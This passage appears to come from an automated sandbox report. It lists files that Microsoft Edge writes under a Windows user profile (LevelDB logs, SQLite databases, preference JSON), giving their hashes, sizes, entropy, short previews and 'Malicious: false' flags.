SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF38f02.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF394ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.231215550861646
Encrypted:	false
SSDEEP:	6:HUS+q2P923oH+TcwtzjqEKj0QMxIFUt8YUFXWZmw+YU6FNVkwO923oH+Tcwtzjqg:j+v4YebvqBZFUt8q/+0NV5LYebvqBaJ
MD5:	F0680E3DBC5A64F0A4812D3889662F7D
SHA1:	38D80E9944C1B2327A08BE3DBD2BC6DDE889DB1F
SHA-256:	CF46D1267980B0F925DD5C1D5AE5598C3218385DCA87D2F338F45755F5B145AE
SHA-512:	5D3AF2B107DA685C5EE20E85B99FFFFC4B934F1994FFF45784EB70F03D5D2AEF77C49508E661906546F2A26847D3B955C55429D509BDF3C1E881BA743F563CDA
Malicious:	false
Preview:	2024/11/11-15:59:29.891 180c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/11-15:59:29.893 180c Recovering log #3.2024/11/11-15:59:29.895 180c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.231215550861646
Encrypted:	false
SSDEEP:	6:HUS+q2P923oH+TcwtzjqEKj0QMxIFUt8YUFXWZmw+YU6FNVkwO923oH+Tcwtzjqg:j+v4YebvqBZFUt8q/+0NV5LYebvqBaJ
MD5:	F0680E3DBC5A64F0A4812D3889662F7D
SHA1:	38D80E9944C1B2327A08BE3DBD2BC6DDE889DB1F
SHA-256:	CF46D1267980B0F925DD5C1D5AE5598C3218385DCA87D2F338F45755F5B145AE
SHA-512:	5D3AF2B107DA685C5EE20E85B99FFFFC4B934F1994FFF45784EB70F03D5D2AEF77C49508E661906546F2A26847D3B955C55429D509BDF3C1E881BA743F563CDA
Malicious:	false
Preview:	2024/11/11-15:59:29.891 180c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/11-15:59:29.893 180c Recovering log #3.2024/11/11-15:59:29.895 180c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.178676411975966
Encrypted:	false
SSDEEP:	6:HUWbu4q2P923oH+TcwtpIFUt8YUWbPNJZmw+YUWbPNDkwO923oH+Tcwta/WLJ:/bNv4YebmFUt8UbP/+Ubd5LYebaUJ
MD5:	9E3127E5C1F11F617CF7135CCBF9A46D
SHA1:	FE64E6A6D62E701036C7EB8CFF1C229212AA8561
SHA-256:	6D6599A8CBEE5F98E47CBFF8A6BEB579E7F135052BA8A72E5EA51EA8E06674D0
SHA-512:	30328297D64C9BB6CCBA8BB2FE560E02F55A81E55C003F53FD7E7697C034D86F25FA79FAAC0AAE7B91E7278F700BF775D40A8E7ACE5AC07F691C801AC54190A8
Malicious:	false
Preview:	2024/11/11-15:59:12.718 1d04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/11-15:59:12.720 1d04 Recovering log #3.2024/11/11-15:59:12.720 1d04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.178676411975966
Encrypted:	false
SSDEEP:	6:HUWbu4q2P923oH+TcwtpIFUt8YUWbPNJZmw+YUWbPNDkwO923oH+Tcwta/WLJ:/bNv4YebmFUt8UbP/+Ubd5LYebaUJ
MD5:	9E3127E5C1F11F617CF7135CCBF9A46D
SHA1:	FE64E6A6D62E701036C7EB8CFF1C229212AA8561
SHA-256:	6D6599A8CBEE5F98E47CBFF8A6BEB579E7F135052BA8A72E5EA51EA8E06674D0
SHA-512:	30328297D64C9BB6CCBA8BB2FE560E02F55A81E55C003F53FD7E7697C034D86F25FA79FAAC0AAE7B91E7278F700BF775D40A8E7ACE5AC07F691C801AC54190A8
Malicious:	false
Preview:	2024/11/11-15:59:12.718 1d04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/11-15:59:12.720 1d04 Recovering log #3.2024/11/11-15:59:12.720 1d04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2653331973778987
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMNSAELyKOMq+8yC8F/YfU5m+OlTLVumW:Bq+n0JN9ELyKOMq+8y9/OwF
MD5:	441F16673477C01D6B2152CFB5C63B30
SHA1:	9DF988D6567EC1D5419756D1349B3507AB274DAC
SHA-256:	F12BD23709AA133497F9BBD0F3EB51725BF28C1CDB810FBE6B2392E9F14075E7
SHA-512:	E4475D9552709FC73E21BA5C7D9947CD52ABB8433D169375EF78E1002FC896CBE97E407C1EB4C744247F0919DAF619B13E60B41FFF94BD2336C99213B956A175
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4672836816071325
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Rw1:v7doKsKuKZKlZNmu46yjx0c
MD5:	E402909962BAD3DFE23D131D0EA1DE15
SHA1:	9D3219F5BF1E0D3BAE806D74E415BF49CAB48810
SHA-256:	79F57FC7233CE648ED76AB27FBD27B90E620CA94698FC69A301FF83A1BDFDE27
SHA-512:	84DF40D8B66BC5F1FE378CFD96ACA0A686FA63A018BC2C5AC9323691573DD7DD45A6275F5B3916023D9A6CA9FC75F0EEEB8A4E40559FE74BC2063A08AB7F9DC9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bb02eb6f-f42a-4b88-a9bb-22db9f70cd6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f2e953fa-7c87-4a5a-8191-8e12b53418d0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14616), with no line terminators
Category:	dropped
Size (bytes):	14617
Entropy (8bit):	5.472853665594331
Encrypted:	false
SSDEEP:	384:stJQJsTrTfhGr4PmBTPhJz6wPYmZHbGJQwv6WTlaTYx:s/1/fs4e6wPXZHbGaIFaTYx
MD5:	5D8FB7AC3B4437F1A784224CD6E3BF83
SHA1:	64038B71783A19ABB6E670CCCA4D891B79E5FE9B
SHA-256:	A791C3C840EF63D45E4CEE385C99AEB2ABF1C3C76C6E36434282CE9CEF50344B
SHA-512:	58A2BED6FB1FF78378A628DF46785CB6B9F717E4D86649FD6C5B73CBC87094901027F96215FFD58B2B9DAE2737C6445775A3F639DB0A80EAADFB39199707C64D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375832353391280","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1085841276273066
Encrypted:	false
SSDEEP:	12:0jCFtjCFDLpEjVl/PnnnnnnnnnnnnnvoQzEo0td:0jGtjGRoPnnnnnnnnnnnnnv5j0/
MD5:	BBF90DA6EDA1384E64ABD23227D5162C
SHA1:	CFFD35AED97BF65BD4AFE0D44E5D72A8F2B7D331
SHA-256:	F989DF3318C32BC3EC330EEE58522D713D9BC0461C7A87C0B45B1E878F5AE2D9
SHA-512:	1C6B5C63E1AEEA30C1D2AB07590A737969E17A9C6422804866518B2C8DF0D6F3CF078105555BD740B2DD1D89E19DD11BE7296F117CD96558DEA7B76C7519C1E2
Malicious:	false
Preview:	..-.............U.........G.D....4..}..n.Y.qH.}..-.............U.........G.D....4..}..n.Y.qH.}........Q...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	350232
Entropy (8bit):	0.9748940058211005
Encrypted:	false
SSDEEP:	384:G2jX4kIlwWhRayWDvkXWZ95gmWCNyKWMpJyWJu4xWrQtX1mWVGkvv8UByayLrEm1:2T81cMPg046nH7UQHp8QZpJqr
MD5:	27EE241DDB8CE47607B6DD8C8832BD2E
SHA1:	0F4BB0E6103CC8199AE3CA0E681D9486D33BF8E3
SHA-256:	075F3B8495A8C54C27E841909D01065AD7CC593544765E10289338052BE1AFEE
SHA-512:	2263F67C837E25F9217D6175D3255E5CFF8795108A2A8BA0F957DD1F115AC178D31B7D1DEAC8D4F5D86BBF6A36332221D519E8753F96027F068FB87348E22D60
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2378975358599957
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuugQU85:iDIQ3
MD5:	780D8637ECB7EC7A27AC0D548B782161
SHA1:	FE69A83925A2B2E6E2D51439B312C7987BC3DF36
SHA-256:	DB8D7F4093C33A1331D4E1405E0664C60EEF9C9F44AD7234CBB1E3A1E878E8EC
SHA-512:	DC75FF4F8CA461ECACD0E25195D5BBB2911D56E7357B395FDEB322402ADB3A68C56C6F292E65EC675BD443DF605E2586B190811A47470638F234650E9E561233
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................JV.0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.183737716643412
Encrypted:	false
SSDEEP:	6:HUWReq2P923oH+TcwtfrK+IFUt8YUWRnZmw+YUWR1kwO923oH+TcwtfrUeLJ:/Rev4Yeb23FUt8URn/+UR15LYeb3J
MD5:	C55587DE5F10FB70E0D18473F165BBCA
SHA1:	D7FBCE7B3FFABBB65D30DC106127589EC75F6FAE
SHA-256:	030C848A6A5AF700891E16627DB78EE72325BBF76C4557A019C3120C90B6CA56
SHA-512:	4BE2C0A04D2CEEAD70FC026AEFC435001C008CF6B720500C5293D115CAC844D4500334CF82CEEB160B9F389007D84C25706F51CEEA8D070B12A3F5C5CA834419
Malicious:	false
Preview:	2024/11/11-15:59:13.545 1c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/11-15:59:13.545 1c34 Recovering log #3.2024/11/11-15:59:13.545 1c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.183737716643412
Encrypted:	false
SSDEEP:	6:HUWReq2P923oH+TcwtfrK+IFUt8YUWRnZmw+YUWR1kwO923oH+TcwtfrUeLJ:/Rev4Yeb23FUt8URn/+UR15LYeb3J
MD5:	C55587DE5F10FB70E0D18473F165BBCA
SHA1:	D7FBCE7B3FFABBB65D30DC106127589EC75F6FAE
SHA-256:	030C848A6A5AF700891E16627DB78EE72325BBF76C4557A019C3120C90B6CA56
SHA-512:	4BE2C0A04D2CEEAD70FC026AEFC435001C008CF6B720500C5293D115CAC844D4500334CF82CEEB160B9F389007D84C25706F51CEEA8D070B12A3F5C5CA834419
Malicious:	false
Preview:	2024/11/11-15:59:13.545 1c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/11-15:59:13.545 1c34 Recovering log #3.2024/11/11-15:59:13.545 1c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.165323334130785
Encrypted:	false
SSDEEP:	6:HUWWFbq2P923oH+TcwtfrzAdIFUt8YUW5WFZZmw+YUW5WFzkwO923oH+TcwtfrzS:/WFbv4Yeb9FUt8U5WFZ/+U5WFz5LYebS
MD5:	B784DF968074921B0B4F7E3CA6612168
SHA1:	17998D422559633A31B8B9ACFB8B30D5CB1B8B33
SHA-256:	655B70E18579759A462EFF0777AC9ACFA96B69DDA690A8FDE7E687F3C4534B59
SHA-512:	8D10A58565CAF3C2A3FB047629C086A3F28B61A2B112B5761B71D3AF952CBCE47336C0C153E357F473F057886C026E8965366A10BFAE59093A57CC84F1927D06
Malicious:	false
Preview:	2024/11/11-15:59:13.420 1c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/11-15:59:13.421 1c34 Recovering log #3.2024/11/11-15:59:13.421 1c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.165323334130785
Encrypted:	false
SSDEEP:	6:HUWWFbq2P923oH+TcwtfrzAdIFUt8YUW5WFZZmw+YUW5WFzkwO923oH+TcwtfrzS:/WFbv4Yeb9FUt8U5WFZ/+U5WFz5LYebS
MD5:	B784DF968074921B0B4F7E3CA6612168
SHA1:	17998D422559633A31B8B9ACFB8B30D5CB1B8B33
SHA-256:	655B70E18579759A462EFF0777AC9ACFA96B69DDA690A8FDE7E687F3C4534B59
SHA-512:	8D10A58565CAF3C2A3FB047629C086A3F28B61A2B112B5761B71D3AF952CBCE47336C0C153E357F473F057886C026E8965366A10BFAE59093A57CC84F1927D06
Malicious:	false
Preview:	2024/11/11-15:59:13.420 1c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/11-15:59:13.421 1c34 Recovering log #3.2024/11/11-15:59:13.421 1c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

